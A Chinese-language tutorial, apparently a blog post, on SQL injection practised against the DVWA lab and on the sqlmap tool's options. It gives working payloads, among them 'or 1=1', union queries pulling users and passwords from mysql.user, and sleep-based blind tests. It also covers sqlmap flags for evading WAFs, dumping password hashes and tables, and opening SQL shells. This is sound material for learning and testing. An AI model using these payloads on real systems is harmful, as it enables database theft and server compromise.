渗透测试工具之sqlmap
1、sql注入的概念以及危害
概念:
sql注入指的是通过构建特殊的输入作为参数传入到web应用程序,而这些输入大都是sql 语法里面的一些组合,通过执行sql语句进而执行攻击者所要的操作,其主要原因是程序没有细致的过滤用户的输入数据,致使非法数据浸入系统。
a、针对web应用而言,用户核心数据存储在数据库中,例如mysql、oracle等;
b、通过sql注入攻击,可以获取、修改、删除数据库的信息,并且通过提权来控制web服务器等其他操作;
危险:
拖库导致用户数据泄露
危险web等应用的安全
是去操作系统的控制权
用户信息被非法买卖
2、sql基础扫盲
环境:windows7上面安装的靶场DVWA
表1:dvwa.users
表2:mysql.user
库函数:
databases();–返回当前操作数据库
user();–返回当前操作用户
now();–返回当前时间
version();–返回数据库版本信息
show databases;–查询库
use mysql;–进入mysql库
show tables;–查询表
desc users;–查询表结构
show create table users;–查询表详细属性
mysql -h localhost -u root -p 命令行链接mysql
注意:
select user_id,password,user from users where user='admin';
select user_id,password,user from users where user=admin;
非数字时,加引号就是字段的值,不加引号就代表字段;
select user_id,password,user from users where user_id='1';
select user_id,password,user from users where user_id=1;
数字不能作为字段,所以作为查询条件的时候加不加引号都行;
3、sql注入流程
a、判断是否有sql注入漏洞;
b、判断操作系统、数据库和web应用的类型;
c、获取数据库信息、包括管理员信息和拖库;
d、加密信息破解,sqlmap可自动破解;
e、提升权限,获取sql-shell、os-shell、登录应用后台;
4、手动注入流程
基于错误的注入
通过输入单引号,触发数据库异常,来判断是否存在sql注入;
基于布尔的注入:
sql语句后面拼接 or或者and等关键字,可以查询到单表所有字段值。
举例说明:
select user_id,first_name,user from users where user_id='1';
--查询user_id=1的数据;
select user_id,first_name,user from users where user_id=1 or 1=1;
--查询条件后面拼接 or 1=1 ,由于1=1恒成立而且or条件一真为真,所以该语句可以查询到该表中所有记录;
基于union的注入
一般通过错误注入和布尔注入确定注入点后,开始进行联合查询。布尔注入仅限于一张表数据,如果想查询其他库或者其他表的数据,那么需要进行联合查询union;
举例说明:
select user_id,first_name,user from users union select host,user,1 from mysql.user;
a、使用union联合查询需要注意以下事项:
union左右两个查询字段数必须一致后面sql如果字段少,就用1,2,3数字作为列名补齐,此处充当一个占位作用
例如:
select user_id,first_name,user from users union select host,user,1 from mysql.user;
后面sql如果字段多,就用sql函数concat将多个字段拼接为一个字段进行查询
例如:
select user_id,first_name from users union select host,concat(user,' ',password) from mysql.user;
b、查询结果列显示的是左侧sql的列名,但数据是两个表的数据(如果不想要左表数据,那么可以在左表查询sql中拼接where 1=2)
select user_id,first_name from users where 1=2 union select host,concat(user,' ',password) from mysql.user;
c、判断左表中查询语句中字段数?
select user_id,first_name,user from users union select 1;
select user_id,first_name,user from users union select 1,2;
select user_id,first_name,user from users union select 1,2,3;
select user_id,first_name,user from users union select 1,2,3,4;
直到结果不报错,正确显示数据为止。
d、判断系统中有多少库、库下的表、表中的列?
information_schema库(数据库字典)是mysql自带的,它提供了访问数据库元数据的方式;元数据包括数据库名、表明、列数据类型、访问权限、字符集等基础信息;
(show databases; > use information_schema; > show tables; )
该库下注重了解2张表的作用即可:
TABLES:所有表的信息
table_schema:库名
table_name :表名
例子:
select table_name,table_schema from information_schema.tables where table_schema='dvwa';
COLUMNS:所有表的所有列的信息
table_schema:库名
table_name :表名
column_name :列名
例子:
select table_schema,table_name,column_name from columns where table_name = 'users' and table_schema='dvwa';
基于时间的盲注
有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时通过设置sleep语句来探测注入点;
例子:
select user_id,first_name,user from users where user_id=‘1' and sleep(5) #
执行后会界面或者sql会停留五秒中,如果出现此现象,那说明存在注入点;
5、sqlmap自动化注入
sqlmap是一个国内外著名的安全稳定性测试工具,可以用来进行自动化检测,利用sql注入漏洞,获取数据库服务器的权限。它具有功能强大的搜索引擎,针对各种不同类型的数据库的安全稳定性
测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接方式执行操作系统命令。
sqlmap支持mysql、oracle、postgresql、sqlite等数据库的各种安全漏洞检测。
常用参数说明:
1.选项
-h,--help 显示基本帮助信息并退出 -hh 显示高级帮助信息并退出 --version 显示程序版本信息并退出
2.目标
在这些选项中必须提供至少有一个确定目标
-u 目标URL 例:sqlmap -u "www.abc.com/index.php?id=1"
-m 后接一个txt文件,文件中是多个url,sqlmap会自动化的检测其中的所有url。
例:sqlmap -m target.txt -r 可以将一个post请求方式的数据包(bp抓包)保存在一个txt中,sqlmap会通过post方式检测目标。 例:sqlmap -r bp.txt
3.请求
这些选项可以用来指定如何连接到目标URL
--method=METHOD 指定是get方法还是post方法。 例: --method=GET --method=POST
--random-agent 使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在 sqlmap/txt/user-agent.txt 在level>=3时会检测user-agent注入。
--proxy=PROXY 指定一个代理。 例: --proxy="127.0.0.1:8080" 使用GoAgent代理。
4.注入
这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。
-p 测试参数 例: sqlmap -r bp.txt -p "username"
--skip-static 跳过测试静态参数(有的时候注入有多个参数,那么有些无关紧要的参数修改后页面是没有变化的)
--no-cast 获取数据时,sqlmap会将所有数据转换成字符串,并用空格代替null。(这个在我们注入失败的时候偶尔会见到, 提示尝试使用--no-cast)
--tamper=TAMPER 使用sqlmap自带的tamper,或者自己写的tamper,来混淆payload,通常用来绕过waf和ips。
5.检测
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
--level=LEVEL 执行测试的等级(1-5,默认为1) lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件内可以看见各个level发送的payload 我常使用--level 3
--risk=RISK 执行测试的风险(0-3,默认为1) risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试 升高风险等级会增加数据被篡改的风险。 常用就是默认1
6.枚举
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。 脱库时使用
--banner 获取数据库管理系统的标识
--current-user 获取数据库管理系统当前用户
--current-db 获取数据库管理系统当前数据库
--hostname 获取数据库服务器的主机名称
--is-dba 检测DBMS当前用户是否DBA
--users 枚举数据库管理系统用户
--passwords 枚举数据库管理系统用户密码哈希
--privileges 枚举数据库管理系统用户的权限
--dbs 枚举数据库管理系统数据库
--tables 枚举DBMS数据库中的表
--columns 枚举DBMS数据库表列 -
D 要进行枚举的指定数据库名
-T 要进行枚举的指定表名
-C 要进行枚举的指定列名
--dump 转储数据库表项,查询字段值
--search 搜索列(S),表(S)和/或数据库名称(S)
--sql-query=QUERY 要执行的SQL语句
--sql-shell 提示交互式SQL的shell
-p id --batch -D dvwa -T users -C user,password --dump